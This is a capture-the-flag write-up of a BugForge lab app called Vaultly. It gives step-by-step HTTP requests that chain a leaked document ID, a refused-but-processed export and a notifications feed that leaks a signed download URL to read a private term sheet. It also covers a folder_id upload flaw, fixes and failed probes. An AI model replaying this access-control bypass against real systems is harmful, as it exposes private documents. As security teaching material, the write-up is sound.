BugForge — 2026.11.15

Vaultly: Private Document Disclosure via Notification Channel Leak

BugForge Refused Export Notification Leak (Broken Access Control) medium

Executive Summary

Vaultly is a server-rendered Next.js document vault for organizations that manage multiple vaults. The 2026-11-15 rotation added an asynchronous export pipeline, a private model applied to each document (author-only, with owners and admins explicitly unable to override it), and a notifications feed. Testing confirmed two findings:

ID Title Severity CVSS CWE Endpoint
F1 Refused export persists and the notifications channel leaks a signed download URL for private documents High 7.7 (S:C; the Private (author-only) model is a separate authorization authority) CWE-863 POST /api/exports, GET /api/notifications
F2 File upload honors folder_id into folders the uploader cannot see Medium 4.3 CWE-862 POST /api/files

The flag-bearing chain ran through F1. Seeded credentials gave an admin session in the demo tenant, a seeded shareable manifest disclosed the private document’s identifier, an export request for that document was refused but its row was still created and processed, and the notifications feed, unlike the exports list, did not filter the refused row. That feed returned a freshly signed download URL which delivered the private term sheet and the flag.


Objective

Retrieve the flag from the rotated Vaultly lab instance (buildId Kh3cBGdV2yjOahk1gii6h). The lab hint, “Alternative access to private files”, pointed at the intersection of the new private-document model and the new export pipeline.


Scope / Initial Access

# Target Application
URL: https://lab-1794764331411-6g1vhe.labs-app.bugforge.io/

# Auth details
Seeded credentials: [email protected]:vaultly (admin role, Acme Corp tenant).
Sessions are an opaque vaultly_session cookie (HttpOnly, SameSite=Lax).
Starting privilege: authenticated admin in the seeded tenant, author of
nothing private.

The application enforces the Private (author-only) model consistently on every direct path tested: share creation, export creation, the private toggle, page reads, API reads, and downloads all refuse a session that is not the author. The disclosure in F1 required an indirect path.


Reconnaissance: Rotation Differencing and Surface Mapping

The buildId differed from the prior rotation’s notes (Kh3cBGdV2yjOahk1gii6h vs K_VMVSYDRMOysSKSGixq7), so the surface was remapped from scratch: full UI walk, a check of the seeded credentials, and a content dump of every shared seeded file. Observations that shaped the test plan:

  1. New pages this rotation: /activity, /exports, /notifications, plus settings sections for members, access, audit, tokens, connected apps, and SSO. Endpoints removed since the prior rotation: /scim/v2/*, /api/audit/events, /api/hq/recovery, /api/vault/breakglass (all 404).
  2. New asynchronous export pipeline: POST /api/exports (JSON) creates an export that moves through queued, processing, and ready states, ending in a download URL of the form /api/exports/{id}/download?expires=&sig=.
  3. New privacy model for individual documents: “Private (author-only)”. The access page states owners and admins do not override it, and the docs page states private documents cannot be exported. Both stated invariants became test targets.
  4. Dual identifiers: every document route takes a 24-hex documentId, while the legacy integer file_id is honored only by POST /api/shares.
  5. Seeded credentials [email protected]:vaultly and [email protected]:vaultly are live; [email protected] is rotated out.
  6. Seeded file 19 (legal-vault-export-2026-11-01-manifest.csv, Records Archive) is shareable and lists every Legal vault file with its documentId and owner, including the private “Heron term sheet”.
  7. Export download URLs carry expires and sig parameters; downloads require the session of the export’s owner, and the signature binds the expires value (tampering returns 403).

Application Architecture

Component Detail
Backend Next.js (App Router), server-rendered pages with plain HTML form POSTs (urlencoded); JSON bodies only on /api/exports and /api/notifications
Auth Opaque vaultly_session cookie (HttpOnly, SameSite=Lax, 7 days); no JWT
Export pipeline POST /api/exports enqueues an asynchronous job (queued, processing, ready); downloads at /api/exports/{id}/download?expires=&sig=
Notifications GET/POST /api/notifications; rows are created when an export completes; ids are a global integer sequence
Document model Dual identifiers (24-hex documentId, legacy integer file_id); a private flag on each document, enforced as author-only

API Surface (relevant endpoints)

Endpoint Method Auth Notes
/api/auth/login POST None urlencoded; sets vaultly_session
/api/shares POST Session Legacy file_id only; returns a share token
/api/share/{token} GET None inline=1 returns raw file content
/api/exports POST Session JSON {documentId}; asynchronous pipeline
/api/exports GET Session Requester’s export list; refused rows filtered out
/api/exports/{id}/download GET Session (export owner) Signed URL (expires, sig)
/api/notifications GET/POST Session export.ready rows carry a downloadUrl; rows for refused exports are not filtered out
/api/files POST Session Multipart upload; honors a folder_id field

Known Users

Username Role Notes
Olivia Stone ([email protected]) Owner Author of the private “Project Heron” folder and term sheet; credential rotated out
Maya Chen ([email protected]) Admin  
Adam Reyes ([email protected]) Admin Seeded password live; used as the attacking identity
Eve Lin ([email protected]) Editor Seeded password live
Raj Patel, Priya Nair, Sofia Garcia Editor  
Tom Becker, Victor Hale Viewer  

Attack Chain Visualization

┌──────────────┐    ┌────────────────┐    ┌────────────────────┐    ┌────────────────────┐    ┌─────────────────────┐
│ Seeded admin │    │ Share seeded   │    │ Unauthenticated    │    │ Export refused,    │    │ Notifications feed  │
│ session      │───▶│ manifest       │───▶│ share read leaks   │───▶│ row persists and   │───▶│ leaks a signed URL  │
│ (admin@acme) │    │ (file_id 19)   │    │ private documentId │    │ the job completes  │    │ for the private doc │
└──────────────┘    └────────────────┘    └────────────────────┘    └────────────────────┘    └──────────┬──────────┘
                                                                                                          │
                                                                                                          ▼
                                                                                               ┌─────────────────────┐
                                                                                               │ Download within the │
                                                                                               │ signature window:   │
                                                                                               │ private doc + FLAG  │
                                                                                               └─────────────────────┘

Findings

F1: Refused Export Persists and the Notifications Channel Leaks a Signed Download URL for Private Documents

Severity: High CVSS v3.1: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N; S:C because the Private (author-only) model is a separate authorization authority that owners and admins cannot override) CWE: CWE-863 (Incorrect Authorization) Endpoint: POST /api/exports, GET /api/notifications Authentication required: Yes (any organization member session; confirmed with the seeded admin account)

Description

Three defects compound:

  1. POST /api/exports rejects private documents with "This document is private and can't be exported." and records an export.denied audit entry, but the export row is still created and the asynchronous job still processes it to the ready state.
  2. GET /api/exports filters refused rows out of its listings, consistent with the seeded Document Export specification’s statement that refused requests are not listed. GET /api/notifications applies no such filter: it emitted a “Your export is ready” notification for the refused export, including a freshly signed downloadUrl.
  3. The signed download URL, used by the requesting session within its validity window, returns the full private document content.

Every direct path to a private document refuses a non-author session (share creation, export creation, the private toggle, page and API reads, downloads). The notifications channel is the observed route around all of them.

Impact

Would allow an authenticated organization member to read documents that the organization’s privacy model marks author-only, including content that owners and admins are documented as unable to override.

Reproduction

Step 1: Authenticate with the seeded credential

POST /api/auth/login HTTP/1.1
Host: lab-1794764331411-6g1vhe.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded

[email protected]&password=vaultly

Response: 303 redirect with Set-Cookie: vaultly_session=.... The seeded credential is accepted.

Step 2: Share the seeded manifest file

POST /api/shares HTTP/1.1
Host: lab-1794764331411-6g1vhe.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded
Cookie: vaultly_session=<admin@acme>

file_id=19&return=/vaults/3

Response: 303 with Location: /vaults/3?share=aNI2VTW2eNDNucfiV_nCy7tT. Share creation succeeds for the manifest file.

Step 3: Read the share without authentication

GET /api/share/aNI2VTW2eNDNucfiV_nCy7tT?inline=1 HTTP/1.1
Host: lab-1794764331411-6g1vhe.labs-app.bugforge.io

(no Cookie header)

Response (excerpt):

path,document_id,owner
Project Heron/Heron term sheet.txt,86b9c960260a66bd5f55a605,Olivia Stone

The manifest discloses the private document’s 24-hex documentId, name, and owner.

Step 4: Request an export of the private document

POST /api/exports HTTP/1.1
Host: lab-1794764331411-6g1vhe.labs-app.bugforge.io
Content-Type: application/json
Cookie: vaultly_session=<admin@acme>

{"documentId":"86b9c960260a66bd5f55a605"}

Response: {"error":"This document is private and can't be exported."}. The audit log records export.denied. Despite the refusal, the export row is created and the asynchronous job processes it, as the next step demonstrates.

Step 5: Read the notifications feed

GET /api/notifications HTTP/1.1
Host: lab-1794764331411-6g1vhe.labs-app.bugforge.io
Accept: application/json
Cookie: vaultly_session=<admin@acme>

Response (excerpt):

[{"id":7,"kind":"export.ready","title":"Your export is ready","exportId":"exp_a1a8997cd8cb10232f1e089f","documentId":"86b9c960260a66bd5f55a605","createdAt":1794764978,"read":false,"downloadUrl":"/api/exports/exp_a1a8997cd8cb10232f1e089f/download?expires=...&sig=..."}]

The refused export is announced as ready with a freshly signed download URL. GET /api/exports does not list it.

Step 6: Download within the URL’s validity window

GET /api/exports/exp_a1a8997cd8cb10232f1e089f/download?expires=<from notification>&sig=<from notification> HTTP/1.1
Host: lab-1794764331411-6g1vhe.labs-app.bugforge.io
Cookie: vaultly_session=<admin@acme>

Response (excerpt):

PROJECT HERON — CONFIDENTIAL TERM SHEET (DRAFT)
Author: Olivia Stone (CEO, Acme Corp)
Classification: Private — author only
...
Confidential reference code: bug{INOy28gURgRUEr1gFVPuv88XeIg5K19T}

A first download attempt returned an expiry error; refetching the notification and downloading immediately succeeded. Tampering with the expires parameter returns 403 (the signature binds it), and the same URL from a different session returns 404 (downloads are scoped to the export’s owner).

Remediation

Fix 1: Refuse before persisting. Validate document visibility before creating the export row, so a refusal leaves nothing for the pipeline to process.

// BEFORE (vulnerable): the row is created, then the request is refused
const exportRow = await db.exports.create({ documentId, requesterId });
if (!canRead(requesterId, document)) {
  audit.log("export.denied", { documentId });
  return jsonResponse(403, { error: "This document is private and can't be exported." });
}

// AFTER (secure): validate first; create the row only on success
if (!canRead(requesterId, document)) {
  audit.log("export.denied", { documentId });
  return jsonResponse(403, { error: "This document is private and can't be exported." });
}
const exportRow = await db.exports.create({ documentId, requesterId });

Fix 2: Apply the same filter to every listing channel. The exports list excludes refused rows; notifications must exclude them too, or emit a denial notice instead of a ready notice.

// BEFORE: every completed export for the requester becomes a notification
const completed = await db.exports.list({ requesterId, status: "ready" });

// AFTER: notifications inherit the exports list's visibility filter
const completed = await db.exports.list({ requesterId, status: "ready", refused: false });

Fix 3: Check visibility again at download time (hardening). The download path currently trusts the export row’s owner. Checking the document’s visibility on the download path as well would have contained the leaked URL even with the first two defects present.

Additional recommendations:

  • Centralize the visibility filter in one query helper shared by exports, notifications, activity feeds, and any future listing channel, so the drift between channels cannot recur.
  • Treat the signed URL as an expiry mechanism, not an authorization mechanism; the session check and the document visibility check must both run on the download path.

F2: File Upload Honors folder_id Into Folders the Uploader Cannot See

Severity: Medium CVSS v3.1: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) CWE: CWE-862 (Missing Authorization) Endpoint: POST /api/files Authentication required: Yes

Description

POST /api/files honors a client-supplied folder_id field without checking that the target folder is visible to the uploader. An upload with folder_id=8 (Olivia Stone’s private “Project Heron” folder) succeeded. The planted file automatically inherited the folder’s private state, and authorship resolved to the folder owner: the uploader’s own attempt to share the planted file was refused with “This document is private.”, so the uploading session held no rights over the file it had just created.

The documented model states that owners and admins do not override privacy. The read side enforces that model; the write path performs no corresponding visibility check.

Impact

Would allow an authenticated member to plant files inside folders they cannot see, with the planted file attributed to the folder owner. The attacker cannot read the file back, so the effect is content injection under another user’s authorship.

Reproduction

Step 1: Upload into a private folder

POST /api/files HTTP/1.1
Host: lab-1794764331411-6g1vhe.labs-app.bugforge.io
Cookie: vaultly_session=<admin@acme>
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="folder_id"

8
------boundary
Content-Disposition: form-data; name="file"; filename="note.txt"

<file content>
------boundary--

Result: the upload was accepted. The new file (id 31) landed in folder 8 and was private, inherited from the folder.

Step 2: Attempt to share the planted file as the uploader Result: the share request was refused with “This document is private.”. Authorship had resolved to the folder owner (Olivia Stone), so the uploading session could not act on the file it had just created.

Remediation

Fix 1: Check folder visibility on the write path.

// BEFORE (vulnerable): folder_id is honored without a visibility check
const file = await db.files.create({
  ...uploadFields,
  folderId: uploadFields.folder_id,
});

// AFTER (secure): the uploader must be able to see the target folder
const folder = await db.folders.find(uploadFields.folder_id);
if (!folder || !canRead(session.userId, folder)) {
  return jsonResponse(404, { error: "Folder not found." });
}
const file = await db.files.create({ ...uploadFields, folderId: folder.id });

Fix 2: Make authorship inheritance explicit (hardening). If files planted in a folder are meant to belong to the folder owner, that inheritance should be a documented, deliberate rule and the uploader should be told at upload time. If it is not intended, authorship should follow the uploader.


Flag / Objective Achieved

Flag: bug{INOy28gURgRUEr1gFVPuv88XeIg5K19T}, recovered from “PROJECT HERON — CONFIDENTIAL TERM SHEET” (author Olivia Stone, classification “Private — author only”) using the signed URL that the notifications feed leaked for the refused export.


OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: Both findings are authorization gaps. F1 is inconsistent enforcement between two listing channels over the same data; F2 is a missing visibility check on a write path.
  • A04:2021 Insecure Design: The pattern underlying F1 (the request is refused but the row is still created and the job still runs) is a design-level defect that a check on any single endpoint cannot fully address.

Tools Used

Tool Purpose
curl Request replay and evidence capture
Web browser Surface mapping and page behavior checks

References


Failed Approaches

Approach Result Why It Failed
PAT (vat_) and OAuth (vot_) Bearer tokens on API routes 401 or redirect to login on every route No API resource accepts them; the OAuth flow works (the consent parameter is decision=approve) but the issued token authenticates nothing discoverable
SSRF via /api/files/import Loopback and private targets blocked; each redirect hop is revalidated (“Forbidden redirect target: internal address”); a request for the application’s own URL stored the 401 body URL allowlist plus revalidation of every redirect hop; stored content is not trusted internally
SQLi probes on the share token path, file_id, and documentId Zero signal Queries are parameterized
HTTP verb tampering (OPTIONS sweep) No hidden verbs anywhere Handlers map cleanly to verbs
folder_id on POST /api/shares Silently ignored The shares endpoint handles files only
Private toggle on folders and documents “Only the author…” refusal The author check is enforced on the toggle path
Share and export across organizations “Not allowed.” Tenant scoping is enforced
Direct reads of private objects (vault view, /api/documents/{hex}, download) 404, 403, or a redacted page Enforcement is consistent across all of these direct paths
Export detail GET /api/exports/{id} as a collaborator 404 Scoped to the export’s owner
SSO Configuration endpoint exists; no way found to initiate the flow from the login page No route, button, or parameter behavior starts the flow
Invite flow /invite/<token> 404; registration ignores the invite field; accept returns “Member not found” Decorative or broken
List parameters (orgId, userId, all) on collection endpoints Silently ignored Lists stay scoped to the session

Tags: #vaultly #bugforge #broken-access-control #authorization #notifications #signed-urls #async-pipeline Document Version: 1.0 Last Updated: 2026-11-15

#broken-access-control #authorization #notifications #signed-urls #async-pipeline #bugforge